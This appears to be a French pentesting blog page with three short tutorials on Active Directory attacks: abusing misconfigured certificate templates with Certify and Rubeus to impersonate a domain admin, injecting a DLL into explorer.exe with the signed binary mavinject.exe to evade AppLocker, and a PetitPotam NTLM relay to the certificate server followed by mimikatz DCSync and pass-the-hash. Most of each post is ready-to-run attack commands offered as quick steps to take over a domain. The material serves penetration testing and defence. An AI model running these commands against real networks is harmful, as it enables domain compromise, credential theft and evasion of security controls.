Catégorie : PENTEST

J’ai souvent noté que les audits portant sur la sécurité de l’Active Directory faisaient l’impasse sur le service de certificats.

Or il suffit d’un seul modèle de certificat mal configuré pour pouvoir usurper l’identité de n’importe compte du domaine et potentiellement compromettre l’Active Directory !

En réalité rien de nouveau depuis la Blackhat de 2021 « Certified Pre-Owned: Abusing Active Directory Certificate Services » (https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) mais malheureusement force est de constater que le message n’est pas bien passé.

Alors pour les gens pressés, comment faire pour compromettre l’AD avec des certificats ?

Il faut d’abord lister les modèles de certificat vulnérables, prenez par exemple l’outil Certify (https://github.com/GhostPack/Certify) qui va vous lister tous vos modèles de certificat vulnérables :

Certify.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]

Ensuite il vous faut repérer les templates vulnérables, c’est à dire ceux réunissant les 3 conditions suivantes :

pkiextendedkeyusage             : Client Authentication
msPKI-Certificates-Name-Flag    : ENROLLEE_SUPPLIES_SUBJECT
Enrollment Rights               : NT AUTHORITY\Authenticated Users

En somme il faut rechercher les templates accessibles à tout utilisateur permettant de réaliser de l’authentification client et autorisant la fourniture d’un SAN (sujet alternatif, un autre compte que vous-même).

Une fois les templates repérés il n’y a plus qu’à demander un certificat pour le compte d’une tierce personne, au hasard un domain admin :=)

Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin

Une fois la clé privée et le certificat obtenu, convertissez les en PFX (PKCS12) avec openssl :

openssl pkcs12 -in cert.pem -inkey key.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Muni de votre certificat cert.pfx l’étape suivante consiste à demander un ticket Kerberos TGT pour l’utilisateur victime (c’est le nom du compte dans le SAN du certificat) et d’injecter ce TGT dans votre propre processus LSASS :

Rubeus.exe asktgt /user:victim /certificate:C:\Temp\cert.pfx /password:password

Vous pouvez vérifier la présence de ce ticket TGT avec la commande klist

Et voila, vous pouvez maintenant utiliser vos nouveaux droits sur le domaine, simple non ?

Alors j’ai passé sous silence quelques points comme le bypass des outils de sécurité locaux, antivirus , d’EDR, etc mais là n’était pas le sujet.

Je trouve cette technique incroyablement simple et efficace, pas la peine de se fatiguer à casser des mots de passe sur du Kerberoasting par exemple, l’authentification par certificat rend le pentest AD tellement plus facile.

Si vous n’êtes pas un féru des LOLBins – vous savez les binaires Microsoft qui détournés de leur usage standard peuvent réaliser des actions malveillantes (https://lolbas-project.github.io/) – alors vous n’avez probablement jamais entendu parlé de mavinject.exe.

Cette exécutable est utilisé par la technologie App-V de Microsoft, de la virtualisation d’applications, chose que l’on ne rencontre pas forcément très souvent sur des postes de travail lambda.

Tout ça pour dire que si vous n’utilisez pas cette technologie App-V alors vous avez sur votre système un exécutable signé par Microsoft, légitime, qui permet comme par magie, en une seule ligne de commande d’injecter du code (une DLL) dans les processus Windows.

Un petit exemple vaut mieux qu’un long discours.

Imaginez un document Office malveillant qui enregistre une DLL quelque part sur votre système, disons pour faire simple dans C:\Temp

La macro n’a qu’une seule ligne de code à exécuter pour charger cette DLL dans un processus actif, par exemple dans l’explorateur de fichiers.

Cet exemple n’est pas si anodin, l’explorateur de fichiers (explorer.exe) est souvent utilisé pour héberger du code malveillant car il est toujours chargé en mémoire.

L’injection de code ne nécessite que le PID (Process ID) du processus cible, par exemple ici mon explorateur de fichiers a le PID 1700 :

Ensuite il n’y a plus qu’à lancer mavinject.exe (il se trouve dans C:\windows\System32 et C:\windows\SysWOW64) avec le PID cible et le chemin de la DLL à injecter :

Et boum la DLL est chargée dans l’espace mémoire de l’explorateur de fichiers comme on peut le voir ci-dessous (injectme64.dll présent dans la liste des DLL chargées par le processus explorer.exe) :

et forcément le code de la DLL est exécutée (DllMain) :

Moralité, il s’agit d’une technique extrêmement simple fournie par Microsoft pour tout acteur malveillant qui souhaite cacher du code dans des processus et par la même occasion bypasser les solutions de contrôles d’applications (comme Applocker par exemple), pas mal non ?

Un mini-tuto sur l’outil PetitPotam, rien d’extraordinaire, juste un petit récap des différentes étapes.

Au cas où vous auriez vécu dans une grotte, PetitPotam est un outil permettant de relayer l’authentification NTLM d’un serveur Windows.

Cela tombe vraiment à pic depuis que tout le monde a désactiver le PrintSpooler sur les DC 🙂

Ce qui est génial c’est que vous n’avez même pas besoin de disposer au préalable d’un compte du domaine, pas mal non ?

Ce qu’on rencontre le plus souvent en ce moment c’est le relai NTLM d’un contrôleur de domaine vers le serveur web de certificat interne à l’entreprise dans le but de récupérer un certificat machine du DC.

Pour ce faire il suffit de récupérer une version de l’outil ntlmrelayx (avec support du relai vers un serveur AD Certificate Service en HTTP)

Un petit exemple sur mon lab où 192.168.112.135 est l’adresse IP de mon serveur de certificat :

Une fois le relai NTLM en écoute y a plus qu’à lancer PetitPotam en ciblant une machine intéressante, au hasard un contrôleur de domaine.

Ici dans mon lab 192.168.112.130 est l’adresse IP de mon serveur relai et 192.168.112.132 est l’adresse IP de mon DC.

De retour sur ma machine de relai NTLM, j’obtiens le certificat du DC :

On peut faire un tour sur le serveur d’autorité de certificat pour vérifier l’existence de ce certificat machine :

Une fois ce certificat machine en main, vous pouvez ensuite générer un ticket Kerberos TGT pour le DC avec par exemple l’outil Rubeus :

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

Une fois le ticket TGT en mémoire vous pouvez devenir maître du domaine avec l’attaque DCsync qui pour rappel permet de récupérer tous les hashs du domaine, rien que ça.

mimikatz.exe lsadump::dcsync /domain:kahlon.local /all /csv

Avec tous ces hashs vous pouvez choisir au hasard le hash d’un administrateur du domaine pour faire une attaque de type Pass-The-Hash

mimikatz.exe privilege::debug sekurlsa::pth /user:Administrator domain:kahlon.local /ntlm:xxxxxxxxxxxxxxxx

Et voila échec et mat